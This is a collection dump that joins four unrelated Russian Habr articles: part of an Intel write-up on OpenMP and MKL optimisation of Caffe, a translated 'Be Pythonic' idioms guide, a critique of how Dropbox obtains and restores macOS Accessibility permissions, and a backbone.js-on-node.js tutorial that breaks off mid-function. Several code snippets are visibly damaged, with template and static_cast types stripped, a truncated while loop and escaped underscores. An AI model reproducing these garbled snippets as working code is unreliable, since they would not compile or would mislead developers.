В третьей строке этого фрагмента, для вычисления переменной **h\_im**, не используется индекс внутреннего цикла **w\_col**. Но, несмотря на это, вычисление данной переменной производится в каждой итерации вложенного цикла. Как вариант, мы можем переместить эту строчку за пределы внутреннего цикла, приведя код к такому виду:
```
for (int h_col = 0; h_col < height_col; ++h_col) {
int h_im = h_col * stride_h - pad_h + h_offset;
for (int w_col = 0; w_col < width_col; ++w_col) {
int w_im = w_col * stride_w - pad_w + w_offset;
```
Оптимизации, специфичные для процессора, системы и другие общие подходы к улучшению кода
----------------------------------------------------------------------------------------
Вот какие дополнительные общие оптимизации кода были применены:
* Улучшение реализации функций **im2col\_cpu** и **col2im\_cpu**.
* Уменьшение сложности операции пакетной нормализации.
* Оптимизации, специфичные для процессора и системы.
* Использование одного ядра на вычислительный поток.
* Устранение перемещения потоков между вычислительными ядрами.
Intel VTune Amplifier XE выяснил, что функция **im2col\_cpu** – одна из наиболее сильно нагружающих систему. Это значит, что она – хороший кандидат на оптимизацию производительности. Функция **im2col\_cpu** – это реализация стандартного шага в операции прямой свёртки. Каждый локальный фрагмент разворачивается в отдельный вектор, всё изображение конвертируется в более крупную матрицу (что повышает интенсивность работы с памятью), строки которой соответствуют множеству мест, где были применены фильтры.
Одна из техник оптимизации для функции **im2col\_cpu** заключается в сокращении числа операций, необходимых для доступа к данным. В коде BVLC Caffe имеется три вложенных цикла, в которых выполняется проход по пикселям изображения:
```
for (int c_col = 0; c_col < channels_col; ++c_col)
for (int h_col = 0; h_col < height_col; ++h_col)
for (int w_col = 0; w_col < width_col; ++w_col)
data_col[(c_col*height_col+h_col)*width_col+w_col] = // ...
```
В этом фрагменте кода BVLC Caffe изначально вычислял соответствующие индексы массива элементов **data\_col**, хотя индексы этого массива просто обрабатываются последовательно. Таким образом, четыре арифметических операции (два сложения и два умножения) можно заменить одной операцией инкрементации индекса. Кроме того, сложность проверки условия можно уменьшить исходя из следующего:
```
/* Функция использует приведение типа int к unsigned для проверки
того, является ли значение параметра a большим или равным нулю,
и меньшим, чем значение параметра b. Тип параметра b – unsigned,
он всегда положителен, таким образом, его значение всегда меньше,
чем 0x800…, при этом преобразование типа параметра с отрицательным
значением всегда приводит его к числу, которое больше, чем 0x800…
Приведение типов позволяет использовать одно условие вместо двух. */
inline bool is_a_ge_zero_and_a_lt_b(int a, int b) {
return static_cast(a) < static\_cast(b);
}
```
В коде BVLC Caffe была проверка условия вида **if (x >= 0 && x < N)**, где **x** и **N** – целые числа со знаком, при этом **N** – всегда положительное число. Преобразование этих целых чисел к целым числам без знака позволяет изменить интервал сравнения. Вместо того, чтобы выполнять две операции сравнения и вычисление логического **И**, после преобразования типа достаточно одного сравнения:
```
if (((unsigned) x) < ((unsigned) N))
```
Для того, чтобы избежать перемещения потоков операционной системой между вычислительными ядрами, мы использовали переменную среды OpenMP: **KMP\_AFFINITY = compact, granularity = fine**. Компактное расположение соседних потоков может улучшить производительность операций GEMM, так как потоки, которые совместно работают с одним и тем же кэшем последнего уровня (last-level cache, LLC), могут повторно использовать данные, ранее записанные в строки кэша.
[Вот](http://arxiv.org/pdf/1602.06709v1.pdf) материал, в котором можно найти подробности об оптимизации, связанной с блокированием кэша, об особенностях оптимальной компоновки данных и векторизации.
Параллелизация кода с использованием OpenMP
-------------------------------------------
### ▍Слои нейронной сети
В ходе применения OpenMP-параллелизации были оптимизированы следующие механизмы нейронной сети:
* Слой свёртки (Convolution).
* Слой обратного преобразования свёртки (Deconvolution).
* Слой локальной нормализации (Local response normalization, LRN).
* Слой с полулинейной функцией активации (Rectified-Linear Unit, ReLU)
* Слой с функцией активации Softmax.
* Слой объединения (Concatenation).
* Утилиты для OpenBLAS-оптимизации, такие как операция **vPowx — y[i] = x[i]β,** операции **caffe\_set**, **caffe\_copy**, и **caffe\_rng\_bernoulli**.
* Слой пространственного объединения, или подвыборки (Pooling).
* Слой «прореживания» сети для предотвращения эффекта переобучения (Dropout).
* Слой пакетной нормализации (Batch normalization).
* Слой данных (Data).
* Слой для выполнения поэлементных операций (Eltwise).
### ▍Слой свёртки
Слой свёртки, что вполне соответствует его названию, выполняет свёртку входных данных, используя набор модифицированных в ходе обучения сети весов, или фильтров, каждый из которых позволяет получить одну карту признаков в выходном изображении. Эта оптимизация предотвращает недостаточное использование аппаратных ресурсов для одного набора входных карт признаков.
```
template
void ConvolutionLayer::Forward\_cpu(const vector\*>& \
bottom, const vector\*>& top) {
const Dtype\* weight = this->blobs\_[0]->cpu\_data();
// Если имеется больше доступных потоков, чем пакетов для обработки, значит
// мы впустую используем ресурсы (меньше пакетов, чем 36
// на нашей тестовой системе).
// Сообщим об этом MKL.
for (int i = 0; i < bottom.size(); ++i) {
const Dtype\* bottom\_data = bottom[i]->cpu\_data();
Dtype\* top\_data = top[i]->mutable\_cpu\_data();
#ifdef \_OPENMP
#pragma omp parallel for num\_threads(this->num\_of\_threads\_)
#endif
for (int n = 0; n < this->num\_; ++n) {
this->forward\_cpu\_gemm(bottom\_data + n\*this->bottom\_dim\_,
weight,
top\_data + n\*this->top\_dim\_);
if (this->bias\_term\_) {
const Dtype\* bias = this->blobs\_[1]->cpu\_data();
this->forward\_cpu\_bias(top\_data + n \* this->top\_dim\_, bias);
}
}
}
}
```
Мы обрабатываем **k = min(num\_threads,batch\_size)** наборов карт **input\_feature**. Например, **k** операций **im2col** происходят параллельно и выполняется **k** обращений к Intel MKL. Intel MKL переключается в однопоточный режим исполнения автоматически и общая производительность оказывается лучше, чем ранее, когда Intel MKL обрабатывала один пакет. Такое поведение задано в файле с исходным кодом src/caffe/layers/base\_conv\_layer.cpp. Это реализация оптимизированной многопоточной обработки с использованием OpenMP из файла с исходным кодом src/caffe/layers/conv\_layer.cpp.
### ▍Слой подвыборки
Max-pooling, average-pooling, и stochastic-pooling (ещё не реализованный) – это разные методы понижающей дискретизации, при этом max-pooling – самый популярный метод. Слой подвыборки разбивает результат, полученный от предыдущего слоя, на набор обычно не перекрывающихся прямоугольных фрагментов. Для каждого такого фрагмента слой затем выводит максимум (max-pooling), арифметическое среднее (average-pooling), или (в будущем) стохастическое значение (stochastic-pooling), полученное из мультиномиального распределения, сформированного из функций активации каждого фрагмента.
Слои подвыборки полезны в свёрточных сетях по трём основным причинам:
* Подвыборка уменьшает размерность задачи и вычислительную нагрузку на вышележащие слои.
* Подвыборка для нижележащих слоёв позволяет ядрам свёртки в слоях, расположенных выше, покрывать большие области входных данных, и, таким образом, обучаться более сложным признакам. Например, ядро из слоя, расположенного ниже, обычно обучается распознавать небольшие элементы изображения, в то время как ядро слоя, расположенного выше, может обучаться распознаванию более сложных структур, таких, как изображения лесов или пляжей.
* Метод max-pooling повышает устойчивость сети к сдвигу изображения. Из восьми возможных направлений в которых фрагмент 2x2 (обычный размер окна подвыборки) может быть сдвинут на один пиксель, три дадут то же самое максимальное значение. Для окна 3x3 уже пять направлений дадут то же самое максимальное значение.
Подвыборка работает на одной карте признаков, поэтому мы использовали Xbyak для того, чтобы выполнить эффективную процедуру сборки, которая поможет создать нужную нам выборку для одной или большего количества входных карт признаков. Эта методика может быть реализована для пакета входных карт признаков, когда процедура выполняется параллельно в OpenMP.
Вычисления слоя подвыборки выполняются параллельно, с использованием OpenMP-многопоточности. Это возможно благодаря тому, что изображения независимы:
```
#ifdef _OPENMP
#pragma omp parallel for collapse(2)
#endif
for (int image = 0; image < num_batches; ++image)
for (int channel = 0; channel < num_channels; ++channel)
generator_func(bottom_data, top_data, top_count, image, image+1,
mask, channel, channel+1, this, use_top_mask);
}
```
Благодаря выражению **collapse(2),** директива OpenMP **#pragma omp parallel** распространяется на оба вложенных цикла **for**, которые выполняют проход по изображениям в пакете и каналам изображений, комбинируя циклы в один и исполняя параллельно то, что получилось.
### ▍Слой Softmax и функция потерь
Функция потерь – это ключевой компонент в машинном обучении. Именно эта функция используется при сравнении выхода сети с целевым показателем, для поиска ошибки. После этого производится настройка весовых коэффициентов сети для уменьшения значения этой функции, то есть, для уменьшения ошибки, отклонения того, что выдаёт сеть, от желаемого выхода. В нашей модели в качестве функции потерь используется softmax (тип слоя – SoftmaxWithLoss).
Такую функцию активации используют в том случае, когда выходы сети символизируют вероятность неких событий, или, как в нашем случае, вероятность принадлежности изображений к различным классам. В частности, в мультиномиальной логистической регрессии (проблема классификации на множество классов), входные данные для этой функции – результат **K** различных линейных функций, и предсказанная вероятность **j**-того класса для вектора **x** вычисляется по такой формуле:
При многопоточном выполнении этих вычислений применяется подход с использованием главного и подчинённого потоков. Так, главный поток запускает некое число подчинённых, распределяя задачи между ними. Подчинённые потоки затем выполняются параллельно, так как они назначаются различным ядрам.
Например, в следующем коде параллельное выполнение отдельных арифметических операций с независимым доступом к данным реализовано с помощью разделения вычислений для различных каналов изображений:
```
// разделение
#ifdef _OPENMP
#pragma omp parallel for
#endif
for (int j = 0; j < channels; j++) {
caffe_div(inner_num_, top_data + j*inner_num_, scale_data,
top_data + j*inner_num_);
}
```
### ▍ReLU и сигмоидальная функции активации в полносвязных слоях
ReLU – это самый популярный на сегодня класс нелинейных функций, используемых в алгоритмах глубокого обучения. Полносвязные слои – это поэлементные операторы, которые берут двоичный объект (blob в терминологии Caffe), выдаваемый нижележащим слоем, и подают на вышележащий слой преобразованный набор данных того же размера. (Такой набор данных – это обычный массив, представляющий унифицированный интерфейс платформы Caffe. Когда данные и найденные ошибки распространяются по сети, Caffe работает с информацией в виде таких объектов).
Слой с активационной функцией ReLU берёт входное значение **x** и подаёт на выход то же самое **x**, если оно больше нуля, а отрицательные значения перемножает на параметр **negative\_slope** по такой формуле:
По умолчанию значение параметра **negative\_slope** равняется нулю, что эквивалентно стандартной функции ReLU, которая возвращает максимальное значение после сравнения переданного ей значения с нулём: **max(x, 0)**. Из-за независимости процесса активации от данных, каждый набор данных может быть обработан параллельно:
```
template
void ReLULayer::Forward\_cpu(const vector\*>& bottom,
const vector\*>& top) {
const Dtype\* bottom\_data = bottom[0]->cpu\_data();
Dtype\* top\_data = top[0]->mutable\_cpu\_data();
const int count = bottom[0]->count();
Dtype negative\_slope=this->layer\_param\_.relu\_param().negative\_slope();
#ifdef \_OPENMP
#pragma omp parallel for
#endif
for (int i = 0; i < count; ++i) {
top\_data[i] = std::max(bottom\_data[i], Dtype(0))
+ negative\_slope \* std::min(bottom\_data[i], Dtype(0));
}
}
```
Похожие параллельные вычисления можно использовать и в процедуре обратного распространения ошибки:
```
template
void ReLULayer::Backward\_cpu(const vector\*>& top,
const vector& propagate\_down,
const vector\*>& bottom) {
if (propagate\_down[0]) {
const Dtype\* bottom\_data = bottom[0]->cpu\_data();
const Dtype\* top\_diff = top[0]->cpu\_diff();
Dtype\* bottom\_diff = bottom[0]->mutable\_cpu\_diff();
const int count = bottom[0]->count();
Dtype negative\_slope=this->layer\_param\_.relu\_param().negative\_slope();
#ifdef \_OPENMP
#pragma omp parallel for
#endif
for (int i = 0; i < count; ++i) {
bottom\_diff[i] = top\_diff[i] \* ((bottom\_data[i] > 0)
+ negative\_slope \* (bottom\_data[i] <= 0));
}
}
}
```
Таким же образом можно распараллелить вычисление сигмоидной функции S(x) = 1 / (1 + exp(-x)):
```
#ifdef _OPENMP
#pragma omp parallel for
#endif
for (int i = 0; i < count; ++i) {
top_data[i] = sigmoid(bottom_data[i]);
}
```
Так как MKL не предоставляет базовых математических операций для реализации ReLU-функций, для того, чтобы добавить этот функционал в систему, мы попытались реализовать оптимизированную версию ReLU-слоя на ассемблере (с использованием Xbyak). Однако, после испытаний, мы не обнаружили заметного роста производительности на процессорах Intel Xeon. Возможно это так из-за ограниченной пропускной способности памяти. Параллелизация существующего кода на C++ оказалась достаточно хорошей для улучшения общей производительности.
Выводы
------
В предыдущем разделе мы рассмотрели различные компоненты и слои нейронных сетей, и то, как данные, обрабатываемые в этих слоях, распределяются по потокам OpenMP и Intel MKL. Гистограмма использования процессора, приведённая ниже, показывает, насколько часто некое число потоков выполняется параллельно после оптимизации кода.
*Общие результаты анализа исполнения реализации Caffe, оптимизированной для архитектуры Intel, на задаче CIFAR-10 в Intel VTune Amplifier XE 2017 beta*
С использованием Caffe, оптимизированного для архитектуры Intel, число одновременно выполняющихся потоков значительно возросло. Время исполнения на нашей тестовой системе упало с 37 секунд для неоптимизированного кода BVLC Caffe, до всего 3.6 секунд для оптимизированной версии. Общая производительность выросла более чем в 10 раз.
Ка показано в разделе Elapsed Time, в верхней части рисунка, часть времени исполнения относится к показателю Spin Time, что указывает на время, которое тратится на ожидание, а не на полезную работу. В результате производительность не растёт линейно при увеличении числа потоков (в соответствии с законом Амдала). Кроме того, здесь всё ещё имеются участки, исполняющиеся последовательно, не параллелизованные с использованием OpenMP. Повторная инициализация параллельных участков OpenMP была значительно оптимизирована для последних реализаций библиотеки OpenMP, но она всё ещё создаёт довольно заметную дополнительную нагрузку на систему. Перемещение параллельных участков в главную функцию может, в потенциале, улучшить производительность даже больше, но это потребует значительного рефакторинга кода.
На рисунке ниже обобщены описанные техники оптимизации и принципы переработки кода, которым мы следовали, занимаясь оптимизацией Caffe для архитектуры Intel.
*Пошаговый подход программы Intel Modern Code*
В ходе испытаний мы пользовались Intel VTune Amplifier XE 2017 beta для поиска участков кода, которые создают наибольшую нагрузку на систему, и оптимизация которых способна принести заметный выигрыш в производительности. Мы реализовали скалярные и последовательные оптимизации, включая устранение кода, результаты выполнения которого оказываются одними и теми же при многократном вызове. Так же мы провели сокращение или упрощение арифметических операций, оптимизировав циклы и проверки условий. Далее мы улучшили код в расчёте на его векторизацию, следуя общим принципам, изложенным в [материале](https://gcc.gnu.org/projects/tree-ssa/vectorization.html) об автоматической векторизации в GCC. Применение JIT-ассемблера Xbyak позволило нам более эффективно задействовать SIMD-инструкции.
Мы реализовали многопоточность для вычислений, проводимых внутри слоёв нейронной сети с помощью библиотеки OpenMP, там, где операции над изображениями или каналами были независимы от данных. Последний шаг в применении подхода программы Intel Modern Code включал масштабирование приложения, которое изначально исполнялось на одном узле, на многоядерную архитектуру, и на кластерную среду с множеством узлов. Это, на настоящий момент, основной предмет нашего исследования. Кроме того, мы применили оптимизации, ориентированные на повторное использование кэш-памяти, что позволило улучшить производительность вычислений. Подробности о подобных оптимизациях можно найти [здесь](http://arxiv.org/pdf/1602.06709v1.pdf). Оптимизация кода для процессоров Intel Xeon Phi семейства x200 включала в себя использование памяти MCDRAM с высокой пропускной способностью и работу в режиме NUMA.
Оптимизация Caffe для архитектуры Intel не только значительно улучшила производительность вычислений, но и позволила извлекать гораздо более сложные наборы признаков из графических данных. Если вы используете в собственных нейросетевых исследованиях Caffe, запуская код на системах с процессорами Intel, оптимизированная версия этой платформы значительно расширит ваши возможности.
Кроме того, надеемся, что наш рассказ об улучшении кода, об инструментах для анализа скорости работы и оптимизации программ, поможет вам в деле улучшения производительности ваших приложений, как относящихся к сфере глубокого обучения нейронных сетей, так и любых других.
Intel хотела бы выразить благодарность Борису Гинзбургу за его идеи и первоначальный вклад в разработку многопоточной OpenMP-версии Caffe, оптимизированной для архитектуры Intel.
Подробности о программе Intel Modern Code можно почитать [здесь](https://software.intel.com/en-us/articles/what-is-code-modernization) и [здесь](https://software.intel.com/ru-ru/modern-code). | https://habr.com/ru/post/315582/ | null | ru | null |
# Be Pythonic
#### От переводчика
Представляю вашему внимаю перевод статьи Shalabh Chaturvedi [«Be Pythonic»](http://www.cafepy.com/article/be_pythonic/), рекомендованной в [этом](http://habrahabr.ru/blogs/python/84235/) топике. Если мое начинание будет поддержано, планирую также перевести две остальные упомянутые там статьи этого автора.
#### Вступление
Эта статья предназначена для новичков в Python.
При переходе с одного языка на другой некоторые вещи для вас могут остаться *неизвестными* (см. [Transfer of Learning](http://education.calumet.purdue.edu/vockell/EdPsyBook/Edpsy6/edpsy6_transfer.htm)). То, что вам известно о других языках, может быть не всегда полезным в Python. Эта статья содержит некоторые используемые в Python идиомы, которые мне особенно нравятся. Я надеюсь, читатели найдут их полезными для овладения языком.
#### Счетчики нужны редко, итераторы — лишь иногда
Неправильно:
```
i = 0
while i<10:
do_something(i)
i += 1
```
Правильно:
```
for i in xrange(10):
do_something(i)
```
В следующем примере программа проходит по списку.
Неправильно:
```
i = 0
while i
```
Правильно:
```
for item in L:
do_something(item)
```
Итераторы полезны, когда вы хотите сохранить позицию в цикле между двумя запусками:
```
itrL = iter(L)
for item in itrL:
do_something(item)
if is_some_condition(item):
break
for item in itrL: # продолжаем с места, на котором мы вышли из предыдущего цикла
do_something_else(item)
```
#### Может быть, вам не нужен цикл for
Python предоставляет много средств более высокого уровня для работы с последовательностями, например, zip(), max(), min(), [list comprehensions](http://docs.python.org/tutorial/datastructures.html#list-comprehensions) (генерация списков), [generator expressions](http://docs.python.org/reference/expressions.html#generator-expressions) (компактная запись генераторов) и т. д. Эти и другие функции описаны в разделе [«Built-in Functions»](http://docs.python.org/library/functions.html) документации.
Вы можете хранить данные в кортежах, списках, словарях и работать с целыми наборами. Например, вот пример кода, который читает CSV-файл (в котором первая строка содержит названия полей), преобразует каждую строку в элемент словаря и считает сумму чисел в столбце «quantity».
```
f = open('filename.csv') # f — итератор
field_names = f.next().split(',') # берем первый элемент итератора с помощью next()
records = [dict(zip(field_names, line.split(','))) for line in f] # получаем оставшиеся строки
print sum(int(record['quantity']) for record in records)
```
В любом случае вы должны использовать модуль [csv](http://docs.python.org/library/csv.html), входящий в Python Standard Library, но этот пример иллюстрирует некоторые полезные особенности. Используя zip() и dict(), вы можете объединить кортеж названий и кортеж значений и получить словарь. А в сочетании с генерацией списков вы можете сделать это с целым списком за один шаг.
#### Кортеж — это не список, который нельзя редактировать
Содержимое кортежа обычно *разнородно*, например, (first\_name, last\_name) или (ip\_address, port). При этом *тип* данных может быть одинаковым (и first\_name, и last\_name — строки). Вы можете думать о кортеже как о строке в реляционной базе данных — фактически строка таблицы даже называется кортежем в формальном описании реляционной модели. Напротив, список имен — это всегда список.
Распаковка кортежей — это полезный способ для извлечения элементов из них. Например:
```
for (ip_address, port) in all_connections:
if port<2000:
print 'Connected to %s on %s' % (ip_address, port)
```
Этот код показывает, что all\_connections — это список (или iterable объект), содержащий кортежи вида (ip\_address, port). Это лучше, чем использовать for item in all\_connections и вызывать элемент через item[0] или похожим способом.
Также стоит использовать распаковку кортежей, если функция должна возвращать несколько значений:
```
# разделяем имя файла на основную часть и расширение
name, ext = os.path.splitext(filename)
```
#### Классы предназначены не для группировки функций
C# и Java позволяют размещать код только в классах, поэтому в них много *служебных* классов, содержащих только статические методы. Например, это математические функции, такие как sin(). В Python вы просто используете модуль, содержащий функции верхнего уровня.
#### Скажите «нет» геттерам и сеттерам
Да, *инкапсуляция* важна. Но геттеры и сеттеры — не единственный способ для этого. В Python вы можете использовать [property](http://docs.python.org/library/functions.html#property) вместо членов класса, то есть полностью изменить способ инкапсуляции без изменения кода, использующего класс.
#### Функции — это объекты
Функция — это объект, который можно вызвать. Этот пример сортирует список словарей по значению, соответствующему ключу 'price':
```
# определяем функцию, возвращающую полезные данные из объекта
def get_price(ob):
return ob['price']
L.sort(key=get_price) # сортируем список, используя значение ['price'] объектов в списке
* This source code was highlighted with Source Code Highlighter.
```
Вы также можете использовать sorted(L, key=get\_price), чтобы получить новый список вместо изменения имеющегося.
#### Ссылки по теме
[Python is not Java](http://dirtsimple.org/2004/12/python-is-not-java.html)
[What is Pythonic](http://faassen.n--tree.net/blog/view/weblog/2005/08/06/0) | https://habr.com/ru/post/84330/ | null | ru | null |
# Dropbox на macOS использует приёмы malware, чтобы получить привилегии, которые ему не нужны
Если у вас установлен Dropbox, загляните в `Системные настройки` → `Защита и безопасность` → `Конфиденциальность`.
TL;DR: Dropbox
* Показывает фальшивое системное окно macOS, чтобы получить пароль пользователя
* Добавляет себя в привилегированные процессы без обязательного для всех разрешения
* Ставит в систему backdoor, чтобы восстановить разрешения, если их явно отберут
* Эти разрешения толком не использует
Заметили что-нибудь необычное на этой картинке? Задумывались когда-нибудь, как оно здесь очутилось? Подумали — может вы добавили его сами, когда Dropbox попросил разрешения управлять компьютером?
Нет, ваша память вас не подводит. Вы не помните, как разрешали это, потому что Dropbox никогда не показывал вам диалог, спрашивающий разрешения — вот такой:
Это единственная официально разрешённая возможность попасть в этот список — но Dropbox никогда не спрашивал у вас этого разрешения. Позже я расскажу, почему это важно, но сейчас проведите удивительный эксперимент: попробуйте **удалить** его.
«Легко!» — скажете вы. Способ всем известен: нажать `«Замок»`, выделить строчку с Dropbox, удалить его кнопкой **«—»**. И вот, смотрите: его больше нет, верно?
**Неверно**. У него есть дурная привычка каждый раз возвращаться. Попробуйте заново зайти в систему (или перезапустить программу), и Dropbox снова добавит себя в список разрешённых приложений и галочка напротив него будет установлена. Это настоящее волшебство!
Если же вам не хочется пробовать, посмотрите, как я пробую отключить эту возможность у Dropbox:
Тут возникает два вопроса:
* Почему это важно?
* Можно ли как-то снять эту галочку, но продолжить пользоваться Dropbox?
Почему это важно?
-----------------
Это важно как минимум по трём причинам:
**Первая**, и самая главная: потому что Dropbox **даже не просил разрешения** управлять вашим компьютером. «Управлять компьютером» в macOS значит нажимать на кнопки, пункты меню, запускать программы, удалять файлы… Это угроза безопасности, и поэтому программы должны требовать ввода пароля и явного разрешения на попадание в тот список.
**И «объяснение» от Dropbox не объясняет, почему они делают этот трюк (англ.)**
Interlude: Contrary to Dropbox’s completely spurious “explanation”/obfuscation [here](https://www.dropboxforum.com/hc/en-us/community/posts/204505875-MacOS-X-Security-Is-it-normal-to-allow-Dropbox-app-to-control-your-computer-), Accessibility has nothing at all to do with granting permissions to files. [Accessibility frameworks](https://developer.apple.com/library/mac/documentation/Accessibility/Conceptual/AccessibilityMacOSX/index.html#//apple_ref/doc/uid/TP40001078-CH254-SW1) were first introduced in Mac OS X 10.2 and expanded in 10.3 to allow control of user interface items via System Events and the Processes suite. As anyone can readily see, what that allows is [GUI control](http://www.macosxautomation.com/applescript/uiscripting/index.html) just as if the program or script was clicking buttons and menu items.
Но, например, вы доверяете Dropbox, и считаете, что они — большая компания, которая не хочет огорчать своих пользователей и не будет делать вещей, не достойных своего честного имени?
Если вы рассуждаете так, вы допускаете две ошибки:
* Чем больше компания, тем меньше она страдает от расстроенных пользователей. Всё просто: если 1000 человек прочитают эту статью и перестанет пользоваться сервисом *(на Хабре их набралось 200 человек — прим. пер.)*, по большому счёту, ничего не изменится. *Глупо* считать, что большая компания не пошлёт вас к чёрту от того, что боится потерять всех клиентов и бизнес. Ещё глупее — если вспомнить, что вы у них на бесплатном тарифе. ([Вот(англ.)](http://arstechnica.com/security/2016/07/dark-patterns-are-designed-to-trick-you-and-theyre-all-over-the-web/) подробный разбор, почему большие компании редко задумываются об этичности своих действий).
* Что важнее, у вас **уже есть** серьёзное доказательство того, что Dropbox-у нельзя доверять: он только что получил контроль над системой в обход защиты macOS, и не спрашивая вас. Кроме того, как вы увидели в том удивительном эксперименте, даже когда вы явно отнимаете у него контроль, он игнорирует ваше решение и восстанавливает его. Как он это делает — мы скоро узнаем. (Есть и другие серьёзные причины не верить Dropbox — например, [эта](https://habrahabr.ru/post/119348/) — прим. пер.)
Есть и **вторая** проблема с этим трюком Dropbox-а.
Представим на минуту, что разработчики не желают зла и не хотят сделать с вами ничего плохого. Но, тем не менее, возможность этого у процесса Dropbox есть. Значит, злоумышленник может найти ошибку в коде Dropbox и использовать её, чтобы захватить контроль над вашим компьютером. Пока это лишь потенциальная угроза; но, как и все угрозы, она станет реальной, как только какой-нибудь злоумышленник использует её.
Вся суть системы безопасности ОС — и главная задача системы разрешений macOS — в том, что программа **не должна иметь больше полномочий, чем ей требуется для выполнения задачи**. Dropbox же либо хранит пароль администратора в явном виде (это очень скверно), либо запускает свой процесс с привилегиями суперпользователя (не менее скверно) — иначе ему пришлось бы спрашивать пароль каждый раз, когда вы удаляете его из разрешённых.
По-моему, эта мера не только скрытная (так как я не давал явного разрешения на такое), но ещё и чрезмерная.
И это **третья** проблема: для нормальной работы Dropbox-у не нужны ни права суперпользователя, ни доступ к `Accesibility API`. (Как предположили в [комментариях к оригинальной статье(англ.)](http://applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/#comment-27468), Dropbox таким образом хочет знать, когда вы делаете снимок экрана; но комментаторы Хабра подтверждают, что публикация снимков работает — видимо, цивилизованным способом, через `FSEvents` — прим. пер.).
Я провёл длительный тест, чтобы убедиться в его работоспособности, используя его на 3 Маках и Айфоне в течение 10 месяцев, и не обнаружил никаких проблем. Я не мог проверить все возможности службы — я использовал Dropbox обычным образом на обычной OS X. Повторю: не было никаких проблем, и, даже если бы они возникли, тогда бы Dropbox и должен был спросить дополнительные разрешения — как все остальные программы — и уважать моё решение, если я это разрешение отниму.
Кроме того, я сообщил о своих находках службе Apple Product Security, и ждал, смогут ли они заставить разработчиков изменить поведение программы (пока безрезультатно)
Тогда у нас остался только один вопрос:
Как всё это отключить, но сохранить Dropbox.app?
------------------------------------------------
*(В комментариях сообщают, что удаление Dropbox обычным методом не удаляет backdoor — прим. пер.)*
* Остановите Dropbox (Значок Dropbox в строке меню → контекстное меню → `«Шестерёнка»` → `Закрыть Dropbox`)
* Удалите каталог `/Library/DropboxHelperTools`
* Удалите Dropbox из `Защита и безопасность` → `Универсальный доступ`
* Завершите сеанс и заново войдите в систему.
* Запустите Dropbox, и увидите это окно:
Как мы уже выяснили, это диалоговое окно врёт (всё ещё верите большой серьёзной фирме?), когда говорит, что Dropbox не будет правильно функционировать; но главный обман в том, что это не то окно, которое должна показывать программа, желающая доступ к `Accessibility API`. На самом деле, даже с паролем пользователя она не должна попадать в разрешённые в `Универсальный доступ`. Похоже, ребятам из Dropbox платят зарплату за придумывание хаков для macOS.
И тут небольшая загвоздка: если вы не дадите программе свой пароль, она не попадёт в `Универсальный доступ`, и будет работать без него — так же хорошо, как раньше. Но при каждом своём запуске она будет снова и снова требовать ваш пароль.
Теперь вам нужно будет смотреть, кто просит пароль, и не давать его какой попало программе. Конечно, вы и без моих советов не должны так делать — но это диалоговое окно выглядит почти как настоящее системное окно самой macOS — и, возможно, уже приучило вас писать в него всё, что просят.
Этот запрос каждый раз неприятен, но не так неприятен, как программа, хакнувшая ваш Мак.
Дополнения
----------
* Вторая статья: Подробный разбор технологии, которую использует Dropbox для внедрения в систему: [Discovering How Dropbox Hack’s Your Mac(англ.)](http://applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/)
* Ответ-извинение от разработчиков в [комментариях(англ.)](http://applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/#comment-27495) ко второй статье. Сводится к фразам: «Ну вот, вы это заметили, теперь придётся убрать» и «Мы не злодеи, у нас просто плохой код». Ещё уверяют, что окно настоящее системное, не подделка. | https://habr.com/ru/post/310074/ | null | ru | null |
# Используем backbone.js под node.js
Приветствую, уважаемые читатели Хабрахабра. Хочу поделиться с вами своим опытом использования [backbone.js](http://backbonejs.org) под [node.js](http://nodejs.org). Ранее я активно поработал с backbone.js на клиенте, и эта библиотека оказалась крайне удобной для структурирования кода.
Сервис без работы с какой либо базой данных — не сервис. В моем случае, в качестве СУБД была выбрана [mongodb](http://mongodb.org). Я посмотрел существующие решения ORM для mongodb, и мне показалось более удобным пользоваться знакомыми инструментами, тем более они же будут использоваться и на клиенте, поэтому решено было попробовать применить для моделей класс Backbone.Model и заодно проверить, как все это можно кастомизировать под mongodb.
Итак, задача. Есть некий сервис, использующий базу mongodb. Необходимо иметь возможность создавать новые объекты и сохранять их в базу, из определенной коллекции доставать необходимые объекты. После изменения объекта должна быть возможность сохранять и удалять его из базы.
Backbone.js предоставляет нам 2 базовых объекта — модель и коллекцию. Мы напишем прослойку, от которой будем в дальнейшем наследовать все наши будущие классы. Сразу оговорюсь, что код соединения с базой данных и получения коллекции мы оставим в стороне и будем считать, что с ним все хорошо. Также пренебрегаем обработкой ошибок. Практически везде я использую Deferred. Поэтому, кому неизвестно, что это за зверь, можно почитать про него [тут](http://habrahabr.ru/post/113073/) в подробностях. Запросы к mongodb делаются через [этот](https://github.com/mongodb/node-mongodb-native) node.js модуль — что является совсем не принципиальным. Код местами упрощен, поэтому если вы будете использовать его в своем проекте, кое-что может быть не совсем верно.
##### Базовая модель
Нам понадобится каким-то образом доставать одиночную модель из базы, думаю, этот метод хорошо вписывается в статическую часть класса:
```
var BaseModel = Backbone.Model.extend({
idAttribute: "_id",
},{
db_collection: null, //какую коллекцию использует данная модель
fetchFromDb: function(filter, options){
var deferred = new Deferred();
if (typeof options === 'undefined')
options = {};
db.getCollection(this.db_collection, function(err, collection){
collection.find(filter).toArray(function(err, items) {
ret = new this(_.defaults(items[0], options));
}
deferred.resolve(ret);
}.bind(this));
);
return deferred.promise;
}
});
```
Из кода также видно, что мы переопределили базовое поле класса Backbone.Model, которое определяет название ключевого поля в списке полей объекта, а в статическом поле db\_collection класса мы определили коллекцию, к которой объект будет относиться.
После этого, если мы, например, определим класс пользователя:
```
var User = BaseModel.extend({},{ db_collection:"users"});
```
мы можем получить конкретного пользователя, например, так:
```
User.fetchFromDb({_id:1});
```
Теперь нужно научиться сохранять созданную модель. Для этого в backbone.js предусмотрен специальный метод sync, сигнатура которого выглядит следующим образом:
```
function sync(method, model, options)
```
где:
* method — метод сохранения, в зависимости от ситуации может возвращаться:
+ create — создаем новую модель в базе;
+ update — сохраняем данные существующей модели в базе;
+ read — обновляем существующую модель из базы;
+ delete — удаляем объект из базы.
* model — наш объект для сохранения;
* options – то, что мы передали дополнительными параметрами в момент сохранения.
```
sync: function(method, model, options){
var fltr = {};
var deferred = new Deferred();
db.getCollection(this.constructor.db_collection, collectionReady.bind(this));
return deferred.promise;
function collectionReady(err, collection){
function done(err, result){
if (options.success)
options.success(result); //таким образом мы сообщаем backbone.js об успешно выполненной операции
deferred.resolve({context: this, result: true});
}
